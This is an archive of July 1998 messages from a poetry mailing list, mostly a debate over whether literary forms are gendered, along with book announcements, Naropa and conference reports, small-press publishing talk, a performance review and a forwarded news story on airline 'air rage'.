ah thx chris and linda, getting a bit more of this thread into the lingo, the lack of necessity to decided HERE or NOW - delueze might say to FOLLOW that nose sometime not just try to re-do it, no need to continue reproducing MY self,me Self, mEYEsELF - a la scalapino yes or also parts of Stevens i have recently bumped into . is a matter of FOLLowing what i can imagine is someone elses nose, my own surroundings as they are always MY surroundings and ...so stevens is a bastard cannot i like him already? when he rocks my boat - surprises even the superhuman....'like this saps like the sun true fortuner for all it takes it gives a humped return exchequering from piebald fiscs unkeyed

postfeminist seems , in large parrt my party dress today or
my do to the do before i figure where it hurts
- as long as it does and it does and it does

so maybe 'gendering' becomes a convenient term? can it be utilized, i think yes as anything that keeps moving, and this is , like, one of the most popular threads that lingers and recurs and full of buttons...

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590. **Lisa Samuels**
new O book by Lisa Samuels
Tue 21 Jul 1998

---

dearly missed poetics persons,

newly settled for a year in louisville, i am happy to announce the appearance of *The Seven Voices*, just published by O Books. it's all poetry, with a way-cool 4-color cover image of one of joseph cornell's boxes.

you can order it from small press distribution, through their mag or website (www.spdbooks.org) -- leslie has a website too, for O Books (www.obooks.com). it's perfectbound, $10, 96 pages, and the blurbs are really sweet though i'm too shy to include them here.

those boston conference reports, btw, are lovely --

lisa

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591. **Kevin Varrone**
address query
Tue 21 Jul 1998

---

does anyone know how I might contact Cole Swenson?
please backchannel.
and thanks in advance.

Kevin

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592. **toddbaron**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

---

you are absolutle and correct!
I agree in all way
and from my privilidge and
handicapped zone (male)
I am more than stuck in my
gender stupidity--as we all are...

But yes--the forms--hmmmmm....are masculine
and such--what do you think of Dickinson's
rewritting the hymnal structure--which is male--and damn it--is
writing--gender based--re
writing or reasembling of structure--and sometimes
I wonder if it's all structure anyway--and
how sad..but tghe narrative...the epic...the content-based
and lecture hall--the architecture of the 20th century

(war)

yes--I agree and love Notley's undergound ventures
and Mayers "Letter to mothers..."...and (sigh) (sic)
is there a maleness seriously paid attention to I wonder
in the newer poets? Is Silliman "new sentence"--there is an address
there to self/and gender/no?

Hmmm...
I am lost in the funhouse for sure..

Tb
(ReMap)

ps: which is one reason Carolyn and I do ReMap--I would NOT do a
magazine alone--nor with another male--have done that--and yes--I
believe strongly our magazine was prone to
pen(is) as I hope RE MAp is not (but
not without ink, too!)

↑ Index

593. **Susan Wheeler**
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Chris, I wasn't there but I will vouch for her books, which are astonishing, pitched carefully at a resonance between mirth and despair, assertively idiosyncratic, and very smart. Good reading, especially for a heat wave.

The House Party, U of GA Press 1984
To Newfoundland, U of GA Press 1989
Sleepers Wake, Timken Publishers 1994

At 06:19 PM 7/21/98 -0400, you wrote:
> Hey, anybody who attended conference, wanna say anything about
> Caroline Knox's reading and/or talk?
> She's kinda the one person there I have NO SENSE about what she's

> doing, and am curious (also because I think she spoke of O'Hara,
> Ashes, etc.....). Thanks, chris stroffolino
>

Susan Wheeler
[redacted]
voice/fax [redacted]

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594. Christian Roess

Re: Came to Cambridge: Not Bean-ville

Wed 22 Jul 1998

On Tue, 21 Jul 1998 Patrick Pritchett writes:

> *Great reports from Bahston, J. Kimball, Daniel Bouchard & Steven Marks! I hereby relinquish the tattered palm of hyperbole. Thanks.*
>
> *Patrick Pritchett*

Yes , my thanks to all for the reports. Also a belated thanks to Patrick Pritchett for his wonderful reports from Naropa.

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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595. Safdie Joseph

Re: pen(is)essesss post-Fem/For you Guys too

Wed 22 Jul 1998

---

toddbaron said (in replying to a post from Linda Russo):

you are absolutle and correct!
I agree in all way
and from my privilidge and
handicapped zone (male)
I am more than stuck in my
gender stupidity--as we all are...

To which (besides questioning his spelling, and differing with Jordan on the importance of that ability in poetics) I ask:

Why is being male or female "stuck"?
Why is it a "handicapped zone"?
Why is Todd seemingly apologizing for being male?

Are we perhaps to become ambi-sexual and aware of all possible gender perspectives at once?

Look: I like Alan Jennifer's work a lot, but surely one of its virtues is the perception that IDENTIFICATIONS ARE ODIOUS (which is perhaps one of the reasons I've always felt uneasy with "identity politics"). I like SPUNK myself; a certain liveliness and intractability, no matter what sex it emanates from. I myself am "of the male gender" (gag) -- and white besides. I understand that white males are over-privileged in American society (but not only that society -- in fact, LEAST of all in that society). Moreover, I understand that sometimes I exercise these privileges unconsciously. There are, to my great misfortune, innumerable things that I assume unconsciously. No doubt some of these things are related to my maleness and whiteness. No doubt my whiteness and maleness determine many of the decisions I make in my life and, more than that, many of the decisions I make in my poems.

But folks . . .

GIVE ME A BREAK!

Maybe I'm just too much of an old Marxist, but the impersonal economic forces of capitalism seem to me to determine us in a far more comprehensive and degrading way than what sex we happen to be inhabiting. To take an example from the membership of this list, the denial of Joe Amato's tenure (and his postings explaining his perception of that action) are far more alarming than the limitations of "the male gaze." This is just an opinion, limited in universal applicability like any other feeling or opinion. But why should I apologize for my perceptions? Why should ANY OF US APOLOGIZE?

And furthermore . . . how can it BE that NOBODY cares if a fucking POET is A MEMBER OF THE FBI!!!

"But yes--the forms--hmmmmm....are masculine
and such--"

Jesus.

Maybe there's a REASON so few people go to poetry readings in L.A! (I don't mean to criticize you personally, Todd; I don't know you or your magazine, and you're more than likely a good guy and a fine poet; I hope you understand it's a style of rhetoric I'm objecting to here).

And you know, Bukowski was an asshole, but he wrote one or two good poems!

Forever, I guess, in the _derrier garde_ (though I like Rachel Daley's post a lot),

Joe Safdie

STUFF THE VOICE-PRINT

Admission of error is a weakness
of judgement,
if one senses beforehand
that it will be seen
as a weakness.

---Edward Dorn

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596. **trbell**
Re: Guest (for Notley)
Wed 22 Jul 1998

Alan,
Findmyselfre assessingsomethingsso notalwayscoherent,but

> *The description of dreams as 'attempt to structure random neural firings' is too often taken a step further to dismissing dreams as therefore meaningless. Is not poetry an attempt to do the same with life's random firings?*
>
> *This depends on how "meaning" is defined - as symptom, portent, or as something acceptable to the mind as constituting sense.*

YES

> *I would never go so far in relation to poetry unless one wants to say everything is such an attempt.*

PERHAPS

> *Language can either anchor meaning in an image or else helps serve a relay function to put the image into relation with other elements in a complex structure. - Barthes*
>
> *is it not then the image (or dream) that really matters or means?*
>
> *No, why or how? And what is meant by "really" here? I would be wary of assigning priority.*

YES, "really" is the issue -

>
>Alan
>
if anyone is still with me

Asapsychologistindisguisehere I am aware that there is a particular verbal therapy that is the treatment of choice for a class of disorders. Neurochemical treatments also work. The fascinating thing here is that the verbal therapy produces the same neurophisical changes on the same brain sites that the neurochemical treatments do. Does this mean that one or the other should be given a priority or are they essentially the same? Does language or neurochemicals "really" produce the change?

tom

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597. **Linda Russo**

Re: post-Fem/For you Guys too

Wed 22 Jul 1998

Good example, henry -- in the Odyssey -- who weaves? Penelope or Homer? Arachne weaves -- but who weaves the myths of Penelope and Arachne?

I know it's ridiculous to try to get down to first causes, to try to separate what's "man-made" and "woman-made" (preferring this to masc/fem)

a 2nd wave feminist would Re-Vision these weaving myths to give penelope more autonomy, perhaps make her less chaste, etc. (cf Rukeyser "No more masks! No more mythologies")

A post-feminist read -- necessarily post-structuralist -- would recognize the myth of penelope woven into, and inseparable from, the frames other (man-made) myths.

Weaving -- the technique, the writing strategy -- is neither masculine nor feminine -- Forms are neither masculine nor feminine (an extension of Waldrop's claim that language is neutral). Forms are not masculine but the construction of literary history, the way we view forms, is -- I think it's time feminist scholarship came to grips with its limitations on this front.

i was pointing the gendering of forms as a problem of feminist scholarship (at one point necessary) -- a reduction that perhaps "prohibits" male writers also from assuming a "gendered" relationship to literary history -- which perhaps frames all men as complicit in maintianing this oppressive history

On Tue, 21 Jul 1998, henry g wrote:

> *Linda,*
> *Poetry has often been metaphorized as weaving. Does weaving create masculine forms? I understand you were not simply assenting to the idea that "all forms are masculine".*

> *- Henry G.*

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598. **Rachel Levitsky**
Re: For Joel K. (2 wks late)
Wed 22 Jul 1998

Joel Kuszai asked me, a long while ago, to post something on Steve Dickison's Naropa Lecture. Lemmesay first that Steve did a beautiful thing for the opening panel, which was to approach the issue of Community/Performance/Publishing topic through the Jazz performance scene of the Bay Area, which has been taken back or over by the musicians themselves creating relationships which are direct, no middle developer. This Steve posed in comparison to some venues in Europe that are subsidized by generous art funding but end up with small scattered audience that fail to provide the critical mass necessary for vibrancy. This double edged sword was embodied for us by Kai Nieminem, who was thrilled at the energetic poet's dialogue here but who was only able to get to Naropa through the funding of the Finnish Bureau of Culture, an entity, it was observed, that doesn't have an equal here, unless you consider the international marketing of Armagedon to be such an equal.

As for Steve's lecture I can only by very subjective in terms of what I remember. He raised the question of independence in publishing, whether it was possible in a time when even the smallest press must arrange their marketing to serve the systems of Barnes and Noble and Borders. For example, if presses don't print a computer scanner thing, they can expect their books to get stuck with a large marring sticker--which will come back on the returned books. Small Press Distribution's sales, he told us, had gone up 50%, largely because B&N in their effort to beat Amazon in being the World's Largest, had ordered 2 of everything for their warehouse. Raising all sorts of issues. On one hand the access of largeness has enabled a proliferation of small presses, on the other a devastation of small bookstores.

LIke I said, all this raises much. Sorry the report is so short so late.

Off to camp.

RDL

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599. **henry g**
Re: post-Fem/For you Guys too
Wed 22 Jul 1998

On Wed, 22 Jul 1998 10:26:29 -0600 Linda Russo said:
>
>Weaving -- the technique, the writing strategy -- is neither masculine
>nor feminine -- Forms are neither masculine nor feminine (an extension
>of Waldrop's claim that language is neutral). Forms are not masculine but
>the construction of literary history, the way we view forms, is -- I think
>it's time feminist scholarship came to grips with its limitations on this
>front.
>
>i was pointing the gendering of forms as a problem of feminist scholarship
>(at one point necessary) -- a reduction that perhaps "prohibits"
>male writers also from assuming a "gendered" relationship to literary
>history -- which perhaps frames all men as complicit in maintianing this
>oppressive history

This makes me think of Ann Douglas' books, _Feminization of American Culture_, and _Terrible Honesty_ - and how modernist poets (Pound, Williams especially) were part of a general cultural reaction against the "suffocating genteel Victorian"(& white) feminism of the later 19th century - and how Pound's "breaking of forms" (all the little effete sonnet men) was a macho thing - so that the sonnet was a feminine form (in his mind, at that time), feminine = effete, genteel, soft -

but women writing sonnets in the 19th century was maybe a feminist thing to do - and I wonder how much the dissociated, experimental, post-Poundian, post-modern forms illustrate a repeat of this pattern - women "appropriating" "masculine" forms - but too late; there always seems to be a late-arriving avant-garde ready to lead their disciples & acolytes further into a dead-end wilderness supposedly "new" - (just trying to be provocative)

these things are just too durn complicated!! There are at least three/four levels: the personal/artistic, which is a person working out of a semi-damaged personal psyche into artistic form; there is the legal/political , where a society tries to control/compromise/negotiate social peace; and there is the intellectual/theoretical, where all the personal/artistic issues are hashed out and analyzed in the sociological/objective abstract (both helping and screwing up the other levels in the process) -

and the men poets weave their appropriated forms into a shroud around
the actual weavers themselves -
- Henry Gould

↑ Index

600. Franklin Bruno
combo?
Wed 22 Jul 1998

I've misplaced the ordering info (where, how much) for Michael Magee's magazine -Combo-. Could someone re-post this (backchannel fine)?

thanks
fjb

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601. ken|n|ing
The A's and B's of small press publishing:
Wed 22 Jul 1998

Todd Baron wants insights into

a) dist. and publishing of mags and books
b) getting work published and (AND) supporting small(er) publishing houses.

a) Well, as far as I can tell, outside the bustling matrices of SF & NY (etc), magazines publishing avant-garde poetry & really vital poetics come in two very general varieties. There's the glossy/perfect-bound mag. with a dependable stable of "established" poets representing their latest leading up to its publication in glossy/perfect-bound book form, often in tandem or under the umbrella of an institution, such as a university. These magazines, to my mind, often do not or cannot take the sorts of risks of the second brand; There is a glut of little "experimental" magazines, such as my own or yours, Todd, that can often develop their own stable of authors, but will more often take risks with "emerging" writers, since those with the capital (economic and cultural) to wind up an "important" source of cultural and economic viability, vibrancy, would consider the cottage-industry mag.s' stable of authors "emerging" so long as they allow themselves to be seen in the company of unknowns. I make this admittedly clumsy distinction to make the point that poets & "poeticians" like any other practitioner in a capital economics will run with their own crowd, because one cannot generally afford the other. In other words, what is vital to one community is often misinterpreted as aesthetic posturing, or mere pretense, in another. Anyone publishing independently must first decide what that means as far as procedural concerns go, distribution, marketing, format, then realize that, should you fall into the second category, this provides you a not unique but happy nonetheless opportunity to cross those borders, as far as whom you choose to represent in your pages. Engaged authors produce work which will

engage in such a dialogic configuration. Thus, hopefully, the work will carry the mag. into the hands of an audience(s).

b) Thus, hopefully, the work will carry the author into the magazine of an audience.

Patrick F. Durgin
|
|
k e n n i n g```````````````|```````````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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602. Linda Russo

Re: pen(is)essesss post-Fem/For you Guys too

Wed 22 Jul 1998

Rah rah.

I'm glad to see Safdie Joseph annoyed with the "position" that feminism had seemed to put Todd in (in reading the original post, before Todd's brilliant comeback) -- as an apologist. Elizabeth Treadwell makes the same point as well (though I have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so many with physical bodies to feel they have to apologize for some appendage or other. I'm intrigued by the problems women (and other 'others') face in trying to enter the current the forums/debates etc. -- very material problems (as Woolf pointed out early on) rooted in patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting more and more challenging writing published, to continue framing experiment as a rupture of "patriarchal laws" (Kristeva's argument; what Woolf recognized as "convention," what Bernstein has called "populist realism" etc) -- to recognized that oppression is at work, even that gender oppression is at work, but to quite calling the counter/re/active strategies "feminine"! or to call it feminine and stop stop linking this to (women's) biology! Or we all really do have the Anxiety of Influence -- we're all a bundle of nerves!

Until we get some intelligent conversation going to reframe the issues (and reframe them for feminist literary scholarship) we're going to be beaten over the heads with said appendages. (Not that it isn't out there -- Judith Butler, for example -- But to what extent has it made its way into contemporary poetics discussions?)

Todd's comeback:

> *being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

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603. **Linda Russo**

Re: pen(is)essesss post-Fem/For you Guys too

Wed 22 Jul 1998

On Tue, 21 Jul 1998, R M Daley wrote:
> so maybe 'gendering' becomes a convenient term? can it be utilized, i
> think yes as anything that keeps moving, and this is , like, one of the
> most popular threads that lingers and recurs and full of buttons...
>

OR Conveniently inconvenient

how about instead of MASCULINE and FEMININE
we use

CANINE FELINE
HEGEMONIC NON-HEGEMONIC
CORSETTED BRASSIERED
COOKED RAW
MEDIUM RARE
PINK DUSTY ROSE
WINEDARK SPARKLING
STRAPPED-ON SLAPPED-ON

OR ANY COMBINATION OF THE ABOVE.

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604. **R. Gancie/C.Parcelli**
reductio ad absurdum
Wed 22 Jul 1998

"The concerted effort around 1950 to reduce human affairs to positive science or techniques and technologies led to mislabeling that made much of what was said and done in connection with psychoanalysis absurd. We encounter a similar bias toward techniques, positivism, and reductionism in various forms at the meetings: in the enthusiasm for interpreting existential issues in terms of mathematical decision theory and game theory; in the mislabeling of the political World Federation for Mental Health as a scientific organization; in the reference to psychology as "behavioral science"; in Northrop's replacement of the actual social and political events by logical systems; in Stroud's technical fix to deal with the dangers of nuclear annihilation. This mislabeling is the earmark of not only the Macy meetings but of the postwar era in the United States.... The taboo, around 1950, against tracing the origins of psychological suffering to political and economic conditions and seeking to alter them, the "social amnesia" (to borrow Jacoby's phrase) of psychotherapists, was itself part of the political climate."---from The Cybernetics Group by Steve Joshua Heims---carlo parcelli

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605. **Bradford J Senning**
room
Wed 22 Jul 1998

---

26 year old senior at the University of Arizona moving to NYC to attend Hunter College as a National Student Exchange (NSE) member. Needs a cheap room for no more than a semester beginning August 22. Genteel, studious, willing to do chores. Backchannel response.

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606. **toddbaron**
Re: pen(is)essesss post-Fem/For you Guys too
Wed 22 Jul 1998

Safdie Joseph wrote:
>
> toddbaron said (in replying to a post from Linda Russo):
>
> you are absolutle and correct!

> I agree in all way
> and from my privilidge and
> handicapped zone (male)
> I am more than stuck in my
> gender stupidity--as we all are...
>
> To which (besides questioning his spelling, and differing with Jordan on
> the importance of that ability in poetics) I ask:
>
> Why is being male or female "stuck"?
> Why is it a "handicapped zone"?
> Why is Todd seemingly apologizing for being male?
> Are we perhaps to become ambi-sexual and aware of all possible gender
> perspectives at once?
>
> Look: I like Alan Jennifer's work a lot, but surely one of its virtues
> is the perception that IDENTIFICATIONS ARE ODIOUS (which is perhaps
one
> of the reasons I've always felt uneasy with "identity politics"). I like
> SPUNK myself; a certain liveliness and intractability, no matter what
> sex it emanates from. I myself am "of the male gender" (gag) -- and
> white besides. I understand that white males are over-privileged in
> American society (but not only that society -- in fact, LEAST of all in
> that society). Moreover, I understand that sometimes I exercise these
> privileges unconsciously. There are, to my great misfortune, innumerable
> things that I assume unconsciously. No doubt some of these things are
> related to my maleness and whiteness. No doubt my whiteness and maleness
> determine many of the decisions I make in my life and, more than that,
> many of the decisions I make in my poems.
>
> But folks . . .
>
> GIVE ME A BREAK!
>
> Maybe I'm just too much of an old Marxist, but the impersonal economic
> forces of capitalism seem to me to determine us in a far more
> comprehensive and degrading way than what sex we happen to be
> inhabiting. To take an example from the membership of this list, the
> denial of Joe Amato's tenure (and his postings explaining his perception
> of that action) are far more alarming than the limitations of "the male
> gaze." This is just an opinion, limited in universal applicability like
> any other feeling or opinion. But why should I apologize for my

> perceptions? Why should ANY OF US APOLOGIZE?
>
> And furthermore . . . how can it BE that NOBODY cares if a fucking POET
> is A MEMBER OF THE FBI!!!
>
> "But yes--the forms--hmmmmm....are masculine
> and such--"
>
> Jesus.
>
> Maybe there's a REASON so few people go to poetry readings in L.A! (I
> don't mean to criticize you personally, Todd; I don't know you or your
> magazine, and you're more than likely a good guy and a fine poet; I hope
> you understand it's a style of rhetoric I'm objecting to here).

Todd Baron:

I must start off by saying Buk. NEVER wrote a good poem--sorry--I am not in favor of

a) poor writing and silliness in the name drunken stupidity and ill-defined post-beat romanticism b) HE is a mysoginist idiot! (Phew!) being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --

never impersonal.

Tb

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607. **toddbaron**
Re: For Joel K. (2 wks late)
Wed 22 Jul 1998

Rachel Levitsky wrote:
>
> Joel Kuszai asked me, a long while ago, to post something on Steve
> Dickison's Naropa Lecture. Lemmesay first that Steve did a beautiful
> thing for the opening panel, which was to approach the issue of
> Community/Performance/Publishing topic through the Jazz performance
> scene of the Bay Area, which has been taken back or over by the
> musicians themselves creating relationships which are direct, no middle
> developer.
> This Steve posed in comparison to some venues in Europe that are
> subsidized by generous art funding but end up with small scattered
> audience that fail to provide the critical mass necessary for vibrancy.
> This double edged sword was embodied for us by Kai Nieminem, who was
> thrilled at the energetic poet's dialogue here but who was only able to
> get to Naropa through the funding of the Finnish Bureau of Culture, an
> entity, it was observed, that doesn't have an equal here, unless you
> consider the international marketing of Armagedon to be such an equal.
>
> As for Steve's lecture I can only by very subjective in terms of what I
> remember. He raised the question of independence in publishing, whether
> it was possible in a time when even the smallest press must arrange
> their marketing to serve the systems of Barnes and Noble and Borders.
> For example, if presses don't print a computer scanner thing, they can
> expect their books to get stuck with a large marring sticker--which will
> come back on the returned books. Small Press Distribution's sales, he
> told us, had gone up 50%, largely because B&N in their effort to beat
> Amazon in being the World's Largest, had ordered 2 of everything for
> their warehouse. Raising all sorts of issues. On one hand the access
> of largeness has enabled a proliferation of small presses, on the other
> a devastation of small bookstores.
>
> LIke I said, all this raises much. Sorry the report is so short so
> late.
>
> Off to camp.
>
> RDL

But steve poses some very important questions. I believe--and the discussion not that long ago here abt. the LA or any local "scene" --that we must begin again to redefine ways of distribution and publishing for the many many small(er) presses that exist--from magazines to books. Carolyn Kemp and I do ReMap as only by sub. but we don't want to--even distribution sources that might take our magazine are frenzied and incoherent enugh to scare us--I'd rather give the mag. away (as I have...) to true readers and participants in the porject than have to wait 1 year for small sums. What do we do? How do we--also as poets--get work published? I have been "lucky" enough to work with some very fine presses (O Books, texture, Avenue B..etc) but now I have several manuscripts I would like to see pubished--and how and where. I always feel sheepish sending to presses I have no working relationship with--but must. Direct co-relation to Steve's work--steve's workshop--lectures--(as I understand them from Steve, too) that it's time we think of ourselves in much the same manner as other arts communities. Bands start off small but gain a public if they're good (>?<) enough, etc. I'd love to hear more on what everyone else in the world thinks about

a) dist. and publishing of mags and books
b) getting work published and (AND) supporting small(er) publishing houses.

Tb
(ReMap)

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608. **Safdie Joseph**
Re: pen(is)essesss post-Fem/For you Guys too
Wed 22 Jul 1998

If that was a "brilliant" comeback, Linda (and where, indeed, would Todd be coming back from?) the word doesn't mean what I thought it meant. Speculations as to Mrs. Marx aside, the economic system is no respecter of persons.

I appreciate that you seem to be wrestling with something and I hope you and others continue to produce the challenging work that would help illuminate the problems as you see them. (Is "patriarchal" really so much a better word than "masculine"?)

Here's an excerpt from this month's Harper's from one William Phillips, which deals a bit with what I said last night . . .

"I've been wondering where the ideas and movements on the left today come from. They do not have their source in either Marx or Lenin, yet they are deemed by the left itself to be authentic, especially in the academy. . . .

1. Cultural diversity. Neither Marx nor Lenin was interested in any kind of cultural diversity. Lenin supported the various nationalisms in Russia, but that was mainly a part of his revolutionary strategy. 2. Gay liberation. Neither Marx nor Lenin had the slightest interest in homosexuality of any kind. . . . And certainly they had no notion of an "alternative lifestyle." 3. Radical feminism. Neither Marx nor Lenin was especially concerned with feminism, though they did not directly oppose it. What they actually believed was that no questions concerning feminism could be adequately solved under capitalism, and that only under socialism would people be free of prejudice or bigotry. And women would be equal to men in all respects. 4. Gender studies. Marx and Lenin, of course, never heard of what are called gender studies. But obviously they would not have had the slightest interest in them and would have thought of them as intellectual and political distractions.

Etc., etc. He makes a few cheap rhetorical points at the end, but I was most interested in his No. 3 above. That is, speculations about gender don't HAVE to be "intellectual and political distractions" . . . they can be linked with other pursuits, some of which I would certainly hope would be poetic and economic. I would repeat, again, my post of last week -- it's the existence of money that makes it impossible to sustain an "epic" view of the world.

(And speaking of persons, my FIRST name is Joseph.)

From: Linda Russo [SMTP:[redacted]]
Sent: Wednesday, July 22, 1998 11:03 AM
To: [redacted]
Subject: Re: pen(is)essesss post-Fem/For you Guys too

Rah rah.

I'm glad to see Safdie Joseph annoyed with the
"position" that feminism had seemed to put Todd in (in reading the
original post, before Todd's brilliant comeback) -- as
an apologist. Elizabeth Treadwell makes the same point as well (though I
have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so
many with physical bodies to feel they have to apologize for some
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'others') face in trying to enter the current the forums/debates etc.
-- very material problems (as Woolf pointed out early on) rooted in
patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting
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> not ---"impersonal economic forces..." --
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> never impersonal.
>
> Tb
>

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609. **Alaric Sumner**

Michael Basinski reviews The Unspeakable Rooms

Wed 22 Jul 1998

I have just received the following review from Michael D. Basinski (poet, critic, Rare Books/Poetry Librarian etc) of State University of New York at Buffalo. The two previous reviews posted have been about the performance in Cleveland, Ohio. Special thanks to Taylor Brady (Stratch and Dent/Cartograffiti) for organising the gig.

"I recently had occasion to watch and hear the work of sound poet Alaric Sumner and performer Rory McDermott in my home town of Buffalo, New York at the HallWalls Contemporary Art Center (22nd May 1998). The evening featured two works by Sumner. The first, 'error studies and portraits', was a multi-voice, conversation poem carried on between Sumner and McDermott. Certainly, this was interesting because multi-voice presentation poetry looms a major avant garde technique. Sumner's sound poems weave literally philosophy with the aural. The form it manifests exists in a matrix of poetics and sound. It was a pleasure to hear this burgeoning form worked by a poet whose ear is well tuned and

whose intellect can manipulate the multi-voice tool to form poetry. "In retrospect, this first piece acted as a prolog and introduction to the second piece of the evening, 'The Unspeakable Rooms'. This was a more physical piece that featured McDermott strenuously and emotionally, passionately moving in front of a screen on which was projected McDermott passionately moving. The sound tract was McDermott's reading, rendering of Sumner's text. Perfectly balanced it was strenuous, riveting performance. McDermott miming himself on film ranged through a host of emotions. As a poetic piece, as a poem, one was constantly aware of the dual qualities of language. Language is both the material of meaning and a veil surrounding meaning. The two McDermotts, one real and one a real film, became a metaphor of this constant and irreconcilable struggle. Beyond this, of course, as poem it was a tactile event, therefore, much new in the realm of the poem. "Both pieces were extremely interesting and engaging and the evening will stick long in my mind because of the challenge it posed to contemporary poetry. That challenge was to become tactile yet intellectually philosophical. The team of Sumner and McDermott seem to be the best operating this day in this opening arena."

Enquires about bookings to:
[redacted]
or phone: [redacted]

JPEG screen dumps from the video made during the Buffalo performance are available as attachments on request (they are not of the highest quality but give a good sense of the visual impact.)

The piece's requirements are:
space: 12ft wide x 9ft tall white wall or screen (performance is end on, so audience should not be too far to the sides of the 12 ft)
blackout
video projector (high quality single beam)
video player (SVHS ideally, VHS ok)
cd player
good sound system (for vocal range)

The piece has been designed with art galleries in mind and does not require conventional performance spaces (though they accommodate it perfectly well).

University venues particularly welcome (especially with educational sessions (workshop/lecture) attached on the piece/performance writing/collaboration, etc). A future issue of PAJ (Performing Arts Journal, published by Johns Hopkins University, Baltimore, USA) will include the text of The Unspeakable Rooms in a section I have edited on (live) Performance Writing. Their web site is at: http://calliope.jhu.edu/journals/performing_arts_journal/

It looks as if we have a London Venue for The Unspeakable Rooms in late September. More details shortly. Other venues in October and November in Leeds, Devon and Cornwall.

Performance Writing
Dartington College of Arts, Totnes, Devon TQ9 6EJ, UK
http://www.dartington.ac.uk/prospectus/pw.html

"error studies and portraits" in Cartograffiti (ed. Taylor Brady)
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti/contents/poems.htm l

The Unspeakable Rooms, 11th Performance Art Festival, Cleveland, Ohio
http://www.performance-art.org/weekone.html "One of the most stunning performances the Festival has ever presented." Amy Bracken Sparks, "The Plain Dealer" "One of the most powerful performances I've ever witnessed, and I've attended hundreds. A difficult masterpiece." Frank Green, "Cleveland Free Times"

Formerly resident writer at Tate Gallery, St Ives. Book from residency: "Waves on Porthmeor Beach" (words worth) illustrated by Sandra Blow RA. First prize, Renato Giorgi Poetry Award (Cornish section)

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610. **raea100900**
Poetry Daily Website
Wed 22 Jul 1998

Hi all-

Ron mentioned that Poetry Daily is featuring a poem of mine on their website (www.poems.com) on Saturday. Disconcertingly, I've just heard now (for the first time) from them and it seems what they're planning to do is post the second half of a two part poem. So what will show up there isn't complete. That makes the experience even stranger.

Rae Armantrout

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611. **joel lewis**
life in late capitalist society (f.y.i)
Wed 22 Jul 1998

0:39 AM ET 07/22/98

FEATURE-''Air rage'' on the rise on U.S., other airlines

By Diana Fairechild

KAUAI, Hawaii (Reuters) - Blame it on a lack of oxygen or being packed like sardines in a can, but ``air rage'' is on the rise.

In well-publicized incidents, airline passengers have defecated on food carts, been aggressive with the crew and even sexually assaulted their seats. Airline travel once was exclusively for a more refined jet set, but these days flying has become a perilous proposition.

Unruly behavior in the skies has been increasing at an astonishing rate in both numbers and the level of hostility. A recent report by the International Cabin Crew Association showed a rise of about 400 percent in incidents since 1995.

In early July, the ICCA, the International Transport Federation and the International Federation of Airline Pilots issued a joint statement saying airlines should adopt a policy of prosecuting all offenders. They also called for a blacklist of offenders and said airlines should ensure there is restraint equipment such as plastic handcuffs aboard all planes.

In 1996, banker Gerard Finneran was fined $50,000 after he assaulted an attendant and then defecated on a first-class food cart during a Buenos Aires-to-New York flight.

More recently, a man on a Northwest Airlines flight removed his pants and ``simulated having sex with the back of his seat,'' airline officials reported. And a man on a flight to Honolulu ``allegedly urinated on the seats,'' then punched another passenger who told him to stop.

Other incidents include passengers becoming enraged after being asked if their seat-belts were fastened and crews being attacked for trying to put trays back in the upright position.

The problem is not just an American one.

In 1995 a large group of British and Irish tourists ran amok aboard a trans-Atlantic flight after being denied more alcohol. The drunken tourists sent their children to steal more drink from service carts, attacked other passengers and pelted the crew with food until they were overcome by some wrestlers aboard, giving the entire incident a three-ring circus flavor.

BOUND AND GAGGED Airline crews have been forced to take drastic measures. A British Airways passenger who ``improperly touched a flight attendant'' this year was bound with handcuffs and duct tape by the crew and subsequently fined $11,000. Another passenger was tied up with a headset

cord by United Airlines crew members after he disturbed the flight.
Japan Airlines also has given flight attendants permission to tie up unruly and raucous passengers. The airline issued the edict last year after incidents on its planes more than doubled between 1995 and 1996. JAL said its crew members had been stabbed with pens, had their buttocks and breasts groped and were even forced to get on their hands and knees to apologize for bringing drinks late to some drunken passengers. Experts say the airline equivalent of road rage is a complex problem with many contributory factors. It could simply be a reflection of increased violence in society, but there may be other underlying issues triggering the rise in unruliness. Some medical experts blame the cabin environment, which they say is high in toxic chemicals and allergens and low in air pressure and oxygen. ``Curtailment of fresh air in airplanes can be causing deficient oxygen in the brain of passengers, and this often makes people act belligerent, even crazy,'' said Dr. Vincent Mark, an environmental physician in Santa Cruz, California. The link between air rage and poor air quality may deserve a closer look. Passenger unruliness began to rise some 20 years ago, coinciding with the cost-cutting practice of using recycled air instead of fresh air in passenger cabins.

SARDINE-CLASS SEATING

